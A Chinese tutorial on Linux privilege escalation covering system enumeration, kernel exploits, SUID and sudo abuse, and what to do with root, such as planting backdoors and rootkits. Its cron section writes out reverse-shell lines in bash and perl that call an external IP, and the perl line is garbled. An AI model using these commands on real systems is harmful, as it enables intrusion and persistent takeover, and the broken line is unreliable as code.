提權指的是低權限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統權限;Linux提權一般是指獲取root用戶權限的操作過程。Linux提權的本質一方面是信息收集,另一方面是對內核漏洞的掌握情況;提權是否成功的關鍵是信息收集是否完整。
本教程操作環境:linux7.3系統、Dell G3電腦。
linux提權概念介紹
提權是什么
提權指的是低權限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統權限。
詳細來說,就是指利用操作系統或應用軟件中的程序漏洞、設計缺陷或配置疏忽來獲取對應用程序或用戶來說受保護資源的高級訪問權限。其結果是,應用程序可以獲取比應用程序開發者或系統管理員預期的更高的特權,從而可以執行授權的動作。
Linux提權一般是指獲取root用戶權限的操作過程。
Linux提權目的
提權操作有風險為什么還要進行提權?什么情況下需要進行提權?獲取高權限之后可以做什么?
通過命令執行漏洞獲取的一個反彈shell或是通過Web漏洞獲取了一個Webshell后,一般情況下權限都較低。在執行一些重要敏感的操作或是對重要的文件進行修改時無法正常進行,便需要進行提權。Linux中安裝的數據庫、中間件等一般都不是以root用戶啟動的,通過數據庫或是中間件獲取到的權限是是低權限的。
獲取一個root權限是每一個黑客的夢想。
- 讀取寫入服務器中的重要文件:
- 修改root密碼
- 替換系統命令
- 在系統中放置更為隱蔽的后門:
- ping后門
- Rootkit
- 保證服務器重啟之后權限仍在:
- 內存后門
Linux提權本質
Linux提權的本質一方面是信息收集,另一方面是對內核漏洞的掌握情況。
Linux信息收集
任何提權的第一步操作一定是對操作系統進行信息收集。提權是否成功的關鍵是信息收集是否完整。
-
內核設備信息:
- uname -a 打印所有可用的系統信息
- uname -r 內核版本
- uname -n 系統主機名。
- uname -m 查看系統內核架構(64位/32位)
- hostname 系統主機名
- cat /proc/version 內核信息
- cat /etc/*-release 分發信息
- cat /etc/issue 分發信息
- cat /proc/cpuinfo CPU信息
-
用戶和群組信息:
- cat /etc/passwd 列出系統上的所有用戶
- cat /etc/group 列出系統上的所有組
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級用戶賬戶
- whoami 查看當前用戶
- w 誰目前已登錄,他們正在做什么
- last 最后登錄用戶的列表
- lastlog 所有用戶上次登錄的信息
- lastlog -u %username% 有關指定用戶上次登錄的信息
- lastlog |grep -v "Never" 以前登錄用戶的信息
-
用戶和權限信息:
- whoami 當前用戶名
- id 當前用戶信息
- cat /etc/sudoers 誰被允許以root身份執行
- sudo -l 當前用戶可以以root身份執行操作
-
環境系統變量信息:
- env 顯示環境變量
- set 現實環境變量
- echo %PATH 路徑信息
- history 顯示當前用戶的歷史命令記錄
- pwd 輸出工作目錄
- cat /etc/profile 顯示默認系統變量
- cat /etc/shells 顯示可用的shell
內核漏洞提權
內核漏洞提權指的是普通用戶訪問操作系統內核,利用內核漏洞將權限提高為root權限,一般首先需要知曉操作系統的內核,內核的版本等信息,再尋找內核漏洞的EXP進行提權
linux常用查看系統信息命令 uname -a 查看系統全部信息 uname -r 查看內核版本 cat /proc/version 查看內核信息 cat /etc/*-realease 查看CentOS版本 cat /etc/issue 查看Ubuntu版本 cat /etc/redhat-release 查看RedHat版本 env 查看環境變量 echo $PATH 查看當前環境變量 awk -F: '($3==0){print $1}' /etc/passwd 查找UID為0的用戶 find / -user root -perm -4000 -exec ls -ldb {} ; 查找設置了SUID的文件
1)查看系統的內核版本
2)使用kali的searchsploit尋找對應的內核漏洞或網上尋找相應的內核漏洞
3)使用gcc將C語言程序編譯成可執行文件,上傳至靶機,執行即可提權至root權限
Linux其他提權方法
1、計劃任務提權
利用原理:
- 當 /bin/sh指向/bin/dash的時候(ubuntu默認這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
這樣彈shell的時候不知道為什么很慢,耐心等等 - */1 * * * * root perl -e 'use Socket;(i="106.13.124.93";)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in((p,inet_aton()i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2、利用SUID提權
-
SUID概念:SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那么我們運行該文件的時候就得獲得root用戶的身份了。那么,為什么要給Linux二進制文件設置這種權限呢?其實原因有很多,例如,程序ping需要root權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性。
-
SUID提權:什么是suid提權呢?一個文件,它有s標志,并且他輸入root,那么我們運行這個程序就可以有了root的權限,并且這個程序還得能執行命令,那么我們就能從普通用戶提升到了root權限了。
-
在本地查找符合條件的文件。
- find / -user root -perm -4000 -print 2>/dev/null
- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls -ldb {} ;
-
常見的可以提權的程序
- nmap vim find Bash More Less Nano cp netcat
3、利用SUDO提權
Linux系統中可以使用sudo執行一個只有root才能執行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出當前用戶支持sudo的命令。
盡量從代碼層面進行對漏洞的分析。
4、環境變量提權
-
查看當前環境變量:
- echo $PATH
5、root權限運行的服務
- 以root的運行的服務,其中包括第三方軟件都可以進行提權。